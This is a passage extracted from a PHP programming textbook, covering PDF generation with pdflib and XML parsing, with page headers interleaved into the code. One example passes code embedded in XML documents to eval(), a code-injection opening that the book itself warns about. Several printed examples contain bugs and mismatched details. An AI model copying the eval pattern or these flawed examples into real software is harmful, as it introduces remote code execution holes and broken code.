<?php $p = pdf_new( ); pdf_open_file($p); pdf_begin_page($p,612,792); pdf_moveto($p,150,150); pdf_lineto($p,450,650); pdf_lineto($p,100,700); pdf_curveto($p,80,400,70,450,250,550); pdf_stroke($p); pdf_end_page($p); pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type:application/pdf"); header("Content-Length:$len"); header("Content-Disposition:inline; filename=gra.pdf"); echo $buf; pdf_delete($p);?>

,ch10.16388 Page 250 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (251)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Images and Graphics | 251

The pdf_fill_stroke( ) function fills and strokes the path with the current fill andstroke colors. Our output now looks like Figure 10-10.

Figure 10-9. A sample path

Figure 10-10. Closed and filled path

,ch10.16388 Page 251 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (252)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

252 | Chapter 10: PDF

Here’s some code that experiments with different shapes and stroking or filling. Itsoutput is shown in Figure 10-11.

// circlepdf_setcolor($p,"fill","rgb", 0.8, 0.5, 0.8);pdf_circle($p,400,600,75);pdf_fill_stroke($p);

// funky arcpdf_setcolor($p,"fill","rgb", 0.8, 0.5, 0.5);pdf_moveto($p,200,600);pdf_arc($p,300,600,50,0,120);pdf_closepath($p);pdf_fill_stroke($p);

// dashed rectanglepdf_setcolor($p,"stroke","rgb", 0.3, 0.8, 0.3);pdf_setdash($p,4,6);pdf_rect($p,50,500,500,300);pdf_stroke($p);

PatternsA pattern is a reusable component, defined outside of a page context, that is used inplace of a color for filling or stroking a path.

The pdf_begin_pattern( ) call returns a pattern handle:

$pattern = pdf_begin_pattern(pdf, width, height, xstep, ystep, painttype);

Figure 10-11. Different shapes and stroking and filling styles

,ch10.16388 Page 252 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (253)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Images and Graphics | 253

The width and height parameters specify the size of the pattern. If you are creating apattern from an image, these are the dimensions of the image. The xstep and ystepparameters specify the horizontal and vertical tiling spacing (i.e., the distancebetween repetitions of the image). To tile the image without a gap between repeti-tions, set the xstep and ystep arguments to the same values as width and height. Thefinal argument, painttype, can be either 1 or 2. 1 means that the pattern supplies itsown color information. 2 means that the current fill and stroke colors are usedinstead. Patterns based on images only use a painttype of 1.

Example 10-10 creates a pattern from a small PHP logo image and uses it to fill acircle.

The output of Example 10-10 is shown in Figure 10-12.

TemplatesIt is common to have parts of a document, such as header/footer sections or back-ground watermarks, repeated on multiple pages. It would be trivial to write a littlePHP function to generate such things on each page, but if you did this the final PDF

Example 10-10. Filling with a pattern

<?php $p = pdf_new( ); pdf_open_file($p);

$im = pdf_open_jpeg($p, "php-tiny.jpg"); $pattern = pdf_begin_pattern($p,64,34,64,34,1); pdf_save($p); pdf_place_image($p, $im, 0,0,1); pdf_restore($p); pdf_end_pattern($p); pdf_close_image ($p,$im);

pdf_begin_page($p,612,792); pdf_setcolor($p, "fill", "pattern", $pattern); pdf_setcolor($p, "stroke", "pattern", $pattern); pdf_setlinewidth($p, 30.0); pdf_circle($p,306,396,120); pdf_stroke($p); pdf_end_page($p);

pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); Header("Content-Type:application/pdf"); Header("Content-Length: $len"); Header("Content-Disposition: inline; filename=pat.pdf"); echo $buf; pdf_delete($p);?>

,ch10.16388 Page 253 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (254)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

254 | Chapter 10: PDF

file would end up containing the same sequence of PDF calls on every page. PDF hasbuilt-in functionality known as “Form XObjects” (renamed “Templates” in pdflib) tomore efficiently handle repeating elements.

To create a template, simply call pdf_begin_template( ), perform the various opera-tions to create the PDF components you want this template to contain, then call pdf_end_template( ). It is a good idea to do a pdf_save( ) right after beginning the tem-plate and a pdf_restore( ) just before ending it to make sure that any contextchanges you perform in your template don’t leak out of this template into the rest ofthe document.

The pdf_begin_template( ) function takes the dimensions of the template and returnsa handle for the template:

$template = pdf_begin_template(pdf, width, height);

The pdf_end_template( ), pdf_save( ), and pdf_restore( ) functions take no argu-ments beyond the pdf handle:

pdf_end_template(pdf);pdf_save(pdf);pdf_restore(pdf);

Example 10-11 uses templates to create a two-page document with the PHP logo inthe top-left and top-right corners and the title “pdf Template Example” and a line atthe top of each page. If you wanted to add something like a page number to yourheader, you would need to do that on each page. There is no way to put variablecontent in a template.

Figure 10-12. Pattern filling a circle

,ch10.16388 Page 254 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (255)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Navigation | 255

The output of Example 10-11 is shown in Figure 10-13.

Some operations, such as opening an image, cannot be done within the context of atemplate definition. Attempting to do so will cause an error. If you get such anerror, simply move the offending operation to just before the pdf_begin_template( )call.

NavigationPDF provides several navigation features for PDF files. Bookmarks function as a tableof contents for the document, and you can provide viewers with thumbnail imagesindicating what’s at the other end of each bookmark. In addition, any part of a PDFpage can be linked to another part of the current PDF file, another PDF file, or acompletely different file.

Example 10-11. Using a template

<?php $p = pdf_new( ); pdf_open_file($p);

// define template $im = pdf_open_jpeg($p, "php-big.jpg"); $template = pdf_begin_template($p,612,792); pdf_save($p); pdf_place_image($p, $im, 14, 758, 0.25); pdf_place_image($p, $im, 562, 758, 0.25); pdf_moveto($p,0,750); pdf_lineto($p,612,750); pdf_stroke($p); $font = pdf_findfont($p,"Times-Bold","host",0); pdf_setfont($p,$font,38.0); pdf_show_xy($p,"pdf Template Example",120,757); pdf_restore($p); pdf_end_template($p); pdf_close_image ($p,$im);// build pages pdf_begin_page($p,595,842); pdf_place_image($p, $template, 0, 0, 1.0); pdf_end_page($p); pdf_begin_page($p,595,842); pdf_place_image($p, $template, 0, 0, 1.0); pdf_end_page($p); pdf_close($p);

$buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=templ.pdf"); echo $buf; pdf_delete($p);?>

,ch10.16388 Page 255 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (256)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

256 | Chapter 10: PDF

Bookmarks and ThumbnailsBookmarks make it easy to quickly navigate through long PDF documents. You cancreate a bookmark with the pdf_add_bookmark( ) function, which returns a book-mark handle:

$bookmark = pdf_add_bookmark(pdf, text, parent, open);

The text parameter is the label that the user sees. To create a nested menu of book-marks, pass a bookmark handle as the parent option. The current location in thePDF file (as it is being created) is the destination of the bookmark.

Bookmarks can have thumbnails associated with them. To make a thumbnail, loadan image and call pdf_add_thumbnail( ):

pdf_add_thumbnail(pdf, image);

Example 10-12 creates a top-level bookmark named “Countries” and nests twobookmarks, “France” and “New Zealand”, under the “Countries” bookmark. It alsocreates a representative thumbnail image for each page. These thumbnails can beviewed in Acrobat Reader’s thumbnail panel.

Figure 10-13. A templated page

Example 10-12. Using bookmarks and thumbnails

<?php $p = pdf_new( ); pdf_open_file($p);

,ch10.16388 Page 256 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (257)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Navigation | 257

The thumbnails generated by Example 10-12 are shown in Figure 10-14.

Linkspdflib supports functions that specify a region on a page that, when clicked on, takesthe reader somewhere else. The destination can be either another part of the samedocument, another PDF document, some other application, or a web site.

The pdf_add_locallink( ) function adds a local link to another place within the cur-rent PDF file:

pdf_add_locallink(pdf, llx, lly, urx, ury, page, zoom);

All links in PDF files are rectangular. The lower-left coordinate is (urx,ury) and theupper-right coordinate is (urx,ury). Valid zoom values are "retain", "fitpage","fitwidth", "fitheight", and "fitbbox".

The following call defines a 50 × 50 area that, if clicked, takes the reader to page 3and retains the current zoom level:

pdf_add_locallink($p, 50, 700, 100, 750, 3, "retain");

pdf_begin_page($p,595,842); $top = pdf_add_bookmark($p, "Countries"); $im = pdf_open_png($p, "fr-flag.png"); pdf_add_thumbnail($p, $im); pdf_close_image($p,$im); $font = pdf_findfont($p,"Helvetica-Bold","host",0); pdf_setfont($p, $font, 20); pdf_add_bookmark($p, "France", $top); pdf_show_xy($p, "This is a page about France", 50, 800); pdf_end_page($p);

pdf_begin_page($p,595,842); $im = pdf_open_png($p, "nz-flag.png"); pdf_add_thumbnail($p, $im); pdf_close_image($p,$im); pdf_setfont($p, $font, 20); pdf_add_bookmark($p, "Denmark", $top); pdf_show_xy($p, "This is a page about New Zealand", 50, 800); pdf_end_page($p);

pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type:application/pdf"); header("Content-Length:$len"); header("Content-Disposition:inline; filename=bm.pdf"); echo $buf; pdf_delete($p);?>

Example 10-12. Using bookmarks and thumbnails (continued)

,ch10.16388 Page 257 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (258)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

258 | Chapter 10: PDF

The pdf_add_pdflink( ) function adds a link to another PDF file. It takes the sameparameters as the pdf_add_locallink( ) function, with the addition of a new parame-ter containing the filename to link to:

pdf_add_pdflink(pdf, llx, lly, urx, ury, filename, page, zoom);

For example:

pdf_add_pdflink($p, 50, 700, 100, 750, "another.pdf", 3, "retain");

The pdf_add_launchlink( ) function adds a link to another file, whose MIME typecauses the appropriate program to be launched to view the file:

pdf_add_launchlink($p, 50, 700, 100, 750, "/path/document.doc");

The pdf_add_weblink( ) function creates a link whose destination is a URL:

pdf_add_weblink(pdf, llx, lly, urx, ury, url);

Example 10-13 takes an image, figures out its size, puts it at position (50,700) in thedocument, then adds a weblink such that if you click anywhere on the image youend up at http://www.php.net. The pdf_set_border_style( ) call, with a line width of0, gets rid of the box that would otherwise be drawn around the image.

Figure 10-14. Thumbnails

Example 10-13. Specifying a link

<?php $p = pdf_new( ); pdf_open_file($p);

,ch10.16388 Page 258 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (259)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Other PDF Features | 259

Other PDF FeaturesPDF documents support a variety of other features, such as annotations, attachedfiles, and page transitions. These features can also be manipulated with pdflib.

Note AnnotationsNotes can be added on top of a PDF document using pdf_add_note( ):

pdf_add_note(pdf, llx, lly, urx, ury, contents, title, icon, open);

Specify the note area with two points: the lower-left corner (llx,lly) and upper-right corner (urx,ury). The contents parameter holds the text of the note (maximumsize 64 KB). The maximum size of the title is 255 characters. The icon parameterindicates which icon should represent the note when it is closed (allowable values are"comment", "insert", "note", "paragraph", "newparagraph", "key", and "help"). Theopen parameter indicates whether the note should be open or closed by default.

Example 10-14 creates an open note on a page with the note icon.

$im = pdf_open_jpeg($p, "php.jpg"); $x = pdf_get_value($p, "imagewidth", $im); $y = pdf_get_value($p, "imageheight", $im); pdf_begin_page($p,612,792); pdf_place_image($p, $im, 50, 700, 1.0); pdf_set_border_style($p, "solid", 0); pdf_add_weblink($p,50,700,50+$x,700+$y,"http://www.php.net"); pdf_end_page($p); pdf_close_image($p, $im);

pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=link.pdf"); echo $buf; pdf_delete($p);?>

Example 10-14. Creating an open note

<?php $p = pdf_new( ); pdf_open_file($p);

pdf_begin_page($p,612,792); pdf_add_note($p,100,650,200,750,"This is a test annotation.","Testing","note",0); pdf_end_page($p);

Example 10-13. Specifying a link (continued)

,ch10.16388 Page 259 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (260)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

260 | Chapter 10: PDF

The output of Example 10-14 is shown in Figure 10-15.

Changing the open argument to php_add_note( ) from 1 to 0 creates the output shownin Figure 10-16 (a closed note).

Attaching Files to a PDF DocumentArbitrary files can be attached to a PDF document. For example, a PDF version ofthis book might have attachments for each program, saving the pain of copying andpasting.

To attach a file, use the pdf_attach_file( ) function:

pdf_attach_file(pdf, llx, lly, urx, ury, filename, description, author,content_type, icon);

pdf_close($p); $buf = pdf_get_buffer($p); $len = strlen($buf); header("Content-Type: application/pdf"); header("Content-Length: $len"); header("Content-Disposition: inline; filename=note.pdf"); echo $buf; pdf_delete($p);?>

Figure 10-15. Open note

Example 10-14. Creating an open note (continued)

,ch10.16388 Page 260 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (261)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Other PDF Features | 261

The content_type is the MIME type of the file (e.g., "text/plain"). The icon parame-ter can be "graph", "pushpin", "paperclip", or "tag". For example:

pdf_begin_page($p, 595, 842);pdf_attach_file($p, 100, 600, 200, 700, "file.zip", "Here is that file you wanted", "Rasmus Lerdorf", "application/zip", "paperclip");

Page TransitionsPDF has the ability to apply special page transition effects similar to those you mightsee in presentation programs such as Microsoft PowerPoint. Most viewers applytransitions only when in fullscreen mode.

A page transition is set with the transition parameter. The available transitions are"split", "blinds", "box", "wipe", "dissolve", "glitter", and "replace". The defaulttransition is always the simple "replace", which just replaces one page with the next.

To set the default time between pages, you can set the duration parameter. Forexample, to set the duration between pages to 5 seconds and to switch to the "wipe"page transition from here on, you can use:

<?php pdf_set_value($p, "duration", 5); pdf_set_parameter($p, "transition", "wipe");?>

Figure 10-16. Closed note

,ch10.16388 Page 261 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (262)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

262

Chapter 11CHAPTER 11

XML

XML, the Extensible Markup Language, is a standardized data format. It looks a lit-tle like HTML, with tags (<example>like this</example>) and entities (&amp;). UnlikeHTML, however, XML is designed to be easy to parse, and there are rules for whatyou can and cannot do in an XML document. XML is now the standard data formatin fields as diverse as publishing, engineering, and medicine. It’s used for remote pro-cedure calls, databases, purchase orders, and much more.

There are many scenarios where you might want to use XML. Because it is a com-mon format for data transfer, other programs can emit XML files for you to eitherextract information from (parse) or display in HTML (transform). This chaptershows how to use the XML parser bundled with PHP, as well as how to use theoptional XSLT extension to transform XML. We also briefly cover generating XML.

Recently, XML has been used in remote procedure calls. A client encodes a functionname and parameter values in XML and sends them via HTTP to a server. The serverdecodes the function name and values, decides what to do, and returns a responsevalue encoded in XML. XML-RPC has proved a useful way to integrate applicationcomponents written in different languages. In this chapter, we’ll show you how towrite XML-RPC servers and clients.

Lightning Guide to XMLMost XML consists of elements (like HTML tags), entities, and regular data. Forexample:

<book isbn="1-56592-610-2"> <title>Programming PHP</title> <authors> <author>Rasmus Lerdorf</author> <author>Kevin Tatroe</author> </authors></book>

,ch11.16545 Page 262 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (263)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Lightning Guide to XML | 263

In HTML, you often have an open tag without a close tag. The most common exam-ple of this is:

<br>

In XML, that is illegal. XML requires that every open tag be closed. For tags thatdon’t enclose anything, such as the line break <br>, XML adds this syntax:

<br />

Tags can be nested but cannot overlap. For example, this is valid:

<book><title>Programming PHP</title></book>

but this is not valid, because the book and title tags overlap:

<book><title>Programming PHP</book></title>

XML also requires that the document begin with a processing instruction that identi-fies the version of XML being used (and possibly other things, such as the textencoding used). For example:

<?xml version="1.0" ?>

The final requirement of a well-formed XML document is that there be only one ele-ment at the top level of the file. For example, this is well formed:

<?xml version="1.0" ?><library> <title>Programming PHP</title> <title>Programming Perl</title> <title>Programming C#</title></library>

but this is not well formed, as there are three elements at the top level of the file:

<?xml version="1.0" ?><title>Programming PHP</title><title>Programming Perl</title><title>Programming C#</title>

XML documents generally are not completely ad hoc. The specific tags, attributes,and entities in an XML document, and the rules governing how they nest, comprisethe structure of the document. There are two ways to write down this structure: theDocument Type Definition (DTD) and the Schema. DTDs and Schemas are used tovalidate documents; that is, to ensure that they follow the rules for their type ofdocument.

Most XML documents don’t include a DTD. Many identify the DTD as an externalwith a line that gives the name and location (file or URL) of the DTD:

<!DOCTYPE rss PUBLIC 'My DTD Identifier' 'http://www.example.com/my.dtd'>

Sometimes it’s convenient to encapsulate one XML document in another. For exam-ple, an XML document representing a mail message might have an attachment ele-ment that surrounds an attached file. If the attached file is XML, it’s a nested XML

,ch11.16545 Page 263 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (264)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

264 | Chapter 11: XML

document. What if the mail message document has a body element (the subject of themessage), and the attached file is an XML representation of a dissection that also hasa body element, but this element has completely different DTD rules? How can youpossibly validate or make sense of the document if the meaning of body changes part-way through?

This problem is solved with the use of namespaces. Namespaces let you qualify theXML tag—for example, email:body and human:body.

There’s a lot more to XML than we have time to go into here. For a gentle introduc-tion to XML, read Learning XML, by Erik Ray (O’Reilly). For a complete reference toXML syntax and standards, see XML in a Nutshell, by Elliotte Rusty Harold and W.Scott Means (O’Reilly).

Generating XMLJust as PHP can be used to generate dynamic HTML, it can also be used to generatedynamic XML. You can generate XML for other programs to consume based onforms, database queries, or anything else you can do in PHP. One application fordynamic XML is Rich Site Summary (RSS), a file format for syndicating news sites.You can read an article’s information from a database or from HTML files them-selves and emit an XML summary file based on that information.

Generating an XML document from a PHP script is simple. Simply change the MIMEtype of the document, using the header( ) function, to "text/xml". To emit the <?xml... ?> declaration without it being interpreted as a malformed PHP tag, you’ll needto either disable short_open_tag in your php.ini file, or simply echo the line fromwithin PHP code:

<?php echo '<?xml version="1.0" encoding="ISO-8859-1" ?>';?>

Example 11-1 generates an RSS document using PHP. An RSS file is an XML docu-ment containing several channel elements, each of which contains some news itemelements. Each news item can have a title, a description, and a link to the articleitself. More properties of an item are supported by RSS than Example 11-1 creates.Just as there are no special functions for generating HTML from PHP (you just echoit), there are no special functions for generating XML. You just echo it!

Example 11-1. Generating an XML document

<?php header('Content-Type: text/xml'); ?><?xml version='1.0' encoding='ISO-8859-1' ?><!DOCTYPE rss PUBLIC '-//Netscape Communications//DTD RSS 0.91//EN' 'http://my.netscape.com/publish/formats/rss-0.91.dtd'><rss version="0.91">

,ch11.16545 Page 264 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (265)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parsing XML | 265

Parsing XMLSay you have a collection of books written in XML, and you want to build an indexshowing the document title and its author. You need to parse the XML files to recog-nize the title and author elements and their contents. You could do this by handwith regular expressions and string functions such as strtok( ), but it’s a lot more

<channel> <?php // news items to produce RSS for $items = array( array('title' => 'Man Bites Dog', 'link' => 'http://www.example.com/dog.php', 'desc' => 'Ironic turnaround!'), array('title' => 'Medical Breakthrough!', 'link' => 'http://www.example.com/doc.php', 'desc' => 'Doctors announced a cure for me.') );

foreach($items as $item) { echo "<item>\n"; echo " <title>{$item[title]}</title>\n"; echo " <link>{$item[link]}</link>\n"; echo " <description>{$item[desc]}</description>\n"; echo " <language>en-us</language>\n"; echo "</item>\n"; } ?> </channel></rss><?xml version='1.0' encoding='ISO-8859-1' ?><!DOCTYPE rss PUBLIC '-//Netscape Communications//DTD RSS 0.91//EN' 'http://my.netscape.com/publish/formats/rss-0.91.dtd'><rss version="0.91"> <channel> <item> <title>Man Bites Dog</title> <link>http://www.example.com/dog.php</link> <description>Ironic turnaround!</description> <language>en-us</language></item><item> <title>Medical Breakthrough!</title> <link>http://www.example.com/doc.php</link> <description>Doctors announced a cure for me.</description> <language>en-us</language></item> </channel></rss>

Example 11-1. Generating an XML document (continued)

,ch11.16545 Page 265 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (266)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

266 | Chapter 11: XML

complex than it seems. The easiest and quickest solution is to use the XML parserthat ships with PHP.

PHP’s XML parser is based on the Expat C library, which lets you parse but not vali-date XML documents. This means you can find out which XML tags are present andwhat they surround, but you can’t find out if they’re the right XML tags in the rightstructure for this type of document. In practice, this isn’t generally a big problem.

PHP’s XML parser is event-based, meaning that as the parser reads the document, itcalls various handler functions you provide as certain events occur, such as thebeginning or end of an element.

In the following sections we discuss the handlers you can provide, the functions toset the handlers, and the events that trigger the calls to those handlers. We also pro-vide sample functions for creating a parser to generate a map of the XML documentin memory, tied together in a sample application that pretty-prints XML.

Element HandlersWhen the parser encounters the beginning or end of an element, it calls the start andend element handlers. You set the handlers through the xml_set_element_handler( )function:

xml_set_element_handler(parser, start_element, end_element);

The start_element and end_element parameters are the names of the handlerfunctions.

The start element handler is called when the XML parser encounters the beginning ofan element:

my_start_element_handler(parser, element, attributes);

It is passed three parameters: a reference to the XML parser calling the handler, thename of the element that was opened, and an array containing any attributes theparser encountered for the element. The attribute array is passed by reference forspeed.

Example 11-2 contains the code for a start element handler. This handler simplyprints the element name in bold and the attributes in gray.

Example 11-2. Start element handler

function start_element($inParser, $inName, &$inAttributes) { $attributes = array( ); foreach($inAttributes as $key) { $value = $inAttributes[$key]; $attributes[] = "<font color=\"gray\">$key=\"$value\" </font>"; }

echo '&lt;<b>' . $inName . '</b> ' . join(' ', $attributes) . '&gt;';}

,ch11.16545 Page 266 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (267)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parsing XML | 267

The end element handler is called when the parser encounters the end of an element:

my_end_element_handler(parser, element);

It takes two parameters: a reference to the XML parser calling the handler, and thename of the element that is closing.

Example 11-3 shows an end element handler that formats the element.

Character Data HandlerAll of the text between elements (character data, or CDATA in XML terminology) ishandled by the character data handler. The handler you set with the xml_set_character_data_handler( ) function is called after each block of character data:

xml_set_character_data_handler(parser, handler);

The character data handler takes in a reference to the XML parser that triggered thehandler and a string containing the character data itself:

my_character_data_handler(parser, cdata);

Example 11-4 shows a simple character data handler that simply prints the data.

Processing InstructionsProcessing instructions are used in XML to embed scripts or other code into a docu-ment. PHP code itself can be seen as a processing instruction and, with the <?php ...?> tag style, follows the XML format for demarking the code. The XML parser callsthe processing instruction handler when it encounters a processing instruction. Setthe handler with the xml_set_processing_instruction_handler( ) function:

xml_set_processing_instruction(parser, handler);

A processing instruction looks like:

<?target instructions ?>

The processing instruction handler takes in a reference to the XML parser that trig-gered the handler, the name of the target (for example, “php”), and the processinginstructions:

my_processing_instruction_handler(parser, target, instructions);

Example 11-3. End element handler

function end_element($inParser, $inName) { echo '&lt;<b>/$inName</b>&gt;';}

Example 11-4. Character data handler

function character_data($inParser, $inData) { echo $inData;}

,ch11.16545 Page 267 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (268)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

268 | Chapter 11: XML

What you do with a processing instruction is up to you. One trick is to embed PHPcode in an XML document and, as you parse that document, execute the PHP codewith the eval( ) function. Example 11-5 does just that. Of course, you have to trustthe documents you’re processing if you eval( ) code in them. eval( ) will run anycode given to it—even code that destroys files or mails passwords to a hacker.

Entity HandlersEntities in XML are placeholders. XML provides five standard entities (&amp;, &gt;,&lt;, &quot;, and &apos;), but XML documents can define their own entities. Mostentity definitions do not trigger events, and the XML parser expands most entities indocuments before calling the other handlers.

Two types of entities, external and unparsed, have special support in PHP’s XMLlibrary. An external entity is one whose replacement text is identified by a filenameor URL rather than explicitly given in the XML file. You can define a handler to becalled for occurrences of external entities in character data, but it’s up to you to parsethe contents of the file or URL yourself if that’s what you want.

An unparsed entity must be accompanied by a notation declaration, and while youcan define handlers for declarations of unparsed entities and notations, occurrencesof unparsed entities are deleted from the text before the character data handler iscalled.

External entities

External entity references allow XML documents to include other XML documents.Typically, an external entity reference handler opens the referenced file, parses thefile, and includes the results in the current document. Set the handler with xml_set_external_entity_ref_handler( ), which takes in a reference to the XML parser andthe name of the handler function:

xml_set_external_entity_ref_handler(parser, handler);

The external entity reference handler takes five parameters: the parser triggering thehandler, the entity’s name, the base URI for resolving the identifier of the entity(which is currently always empty), the system identifier (such as the filename), andthe public identifier for the entity, as defined in the entity’s declaration:

$ok = my_ext_entity_handler(parser, entity, base, system, public);

Example 11-5. Processing instruction handler

function processing_instruction($inParser, $inTarget, $inCode) { if ($inTarget === 'php') { eval($inCode); }}

,ch11.16545 Page 268 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (269)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parsing XML | 269

If your external entity reference handler returns a false value (which it will if itreturns no value), XML parsing stops with an XML_ERROR_EXTERNAL_ENTITY_HANDLINGerror. If it returns true, parsing continues.

Example 11-6 shows how you would parse externally referenced XML documents.Define two functions, create_parser( ) and parse( ), to do the actual work of creat-ing and feeding the XML parser. You can use them both to parse the top-level docu-ment and any documents included via external references. Such functions aredescribed later, in “Using the Parser.” The external entity reference handler simplyidentifies the right file to send to those functions.

Unparsed entities

An unparsed entity declaration must be accompanied by a notation declaration:

<!DOCTYPE doc [ <!NOTATION jpeg SYSTEM "image/jpeg"> <!ENTITY logo SYSTEM "php-tiny.jpg" NDATA jpeg>]>

Register a notation declaration handler with xml_set_notation_decl_handler( ):

xml_set_notation_decl_handler(parser, handler);

The handler will be called with five parameters:

my_notation_handler(parser, notation, base, system, public);

The base parameter is the base URI for resolving the identifier of the notation (whichis currently always empty). Either the system identifier or the public identifier for thenotation will be set, but not both.

Register an unparsed entity declaration with the xml_set_unparsed_entity_decl_handler( ) function:

xml_set_unparsed_entity_decl_handler(parser, handler);

The handler will be called with six parameters:

my_unp_entity_handler(parser, entity, base, system, public, notation);

Example 11-6. External entity reference handler

function external_entity_reference($inParser, $inNames, $inBase, $inSystemID, $inPublicID) { if($inSystemID) { if(!list($parser, $fp) = create_parser($inSystemID)) { echo "Error opening external entity $inSystemID \n"; return false; } return parse($parser, $fp); } return false;}

,ch11.16545 Page 269 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (270)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

270 | Chapter 11: XML

The notation parameter identifies the notation declaration with which this unparsedentity is associated.

Default HandlerFor any other event, such as the XML declaration and the XML document type, thedefault handler is called. To set the default handler, call the xml_set_default_handler( ) function:

xml_set_default_handler(parser, handler);

The handler will be called with two parameters:

my_default_handler(parser, text);

The text parameter will have different values depending on the kind of event trigger-ing the default handler. Example 11-7 just prints out the given string when thedefault handler is called.

OptionsThe XML parser has several options you can set to control the source and targetencodings and case folding. Use xml_parser_set_option( ) to set an option:

xml_parser_set_option(parser, option, value);

Similarly, use xml_parser_get_option( ) to interrogate a parser about its options:

$value = xml_parser_get_option(parser, option);

Character encoding

The XML parser used by PHP supports Unicode data in a number of different char-acter encodings. Internally, PHP’s strings are always encoded in UTF-8, but docu-ments parsed by the XML parser can be in ISO-8859-1, US-ASCII, or UTF-8. UTF-16is not supported.

When creating an XML parser, you can give it an encoding to use for the file to beparsed. If omitted, the source is assumed to be in ISO-8859-1. If a character outsidethe range possible in the source encoding is encountered, the XML parser will returnan error and immediately stop processing the document.

The target encoding for the parser is the encoding in which the XML parser passesdata to the handler functions; normally, this is the same as the source encoding. Atany time during the XML parser’s lifetime, the target encoding can be changed. Any

Example 11-7. Default handler

function default($inParser, $inData) { echo "<font color=\"red\">XML: Default handler called with '$inData'</font>\n";}

,ch11.16545 Page 270 Wednesday, March 13, 2002 11:45 AM

Programming php 1 - [PDF Document] (271)

This is the Title of the Book, eMatter EditionCopyright © 2002 O’Reilly & Associates, Inc. All rights reserved.

Parsing XML | 271

characters outside the target encoding’s character range are demoted by replacingthem with a question mark character (?).

Use the constant XML_OPTION_TARGET_ENCODING to get or set the encoding of the textpassed to callbacks. Allowable values are: "ISO-8859-1" (the default), "US-ASCII",and "UTF-8".

Case folding

By default, element and attribute names in XML documents are converted to alluppercase. You can turn off this behavior (and get case-sensitive element names) bysetting the XML_OPTION_CASE_FOLDING option to false with the xml_parser_set_option( ) function:

xml_parser_set_option(XML_OPTION_CASE_FOLDING, false);

Using the ParserTo use the XML parser, create a parser with xml_parser_create( ), set handlers andoptions on the parser, then hand chunks of data to the parser with the xml_parse( )function until either the data runs out or the parser returns an error. Once the pro-cessing is complete, free the parser by calling xml_parser_free( ).

The xml_parser_create( ) function returns an XML parser:

$parser = xml_parser_create([encoding]);

The optional encoding parameter specifies the text encoding ("ISO-8859-1", "US-ASCII", or "UTF-8") of the file being parsed.

The xml_parse( ) function returns TRUE if the parse was successful or FALSE if it wasnot:

$success = xml_parse(parser, data [, final ]);

The data argument is a string of XML to process. The optional final parametershould be true for the last piece of data to be parsed.

To easily deal with nested documents, write functions that create the parser and setit* options and handlers for you. This puts the options and handler settings in oneplace, rather than duplicating them in the external entity reference handler.Example 11-8 has such a function.

Example 11-8. Creating a parser

function create_parser ($filename) { $fp = fopen('filename', 'r'); $parser = xml_parser_create( );

xml_set_element_handler($parser, 'start_element', 'end_element'); xml_set_character_data_handler($parser, 'character_data');

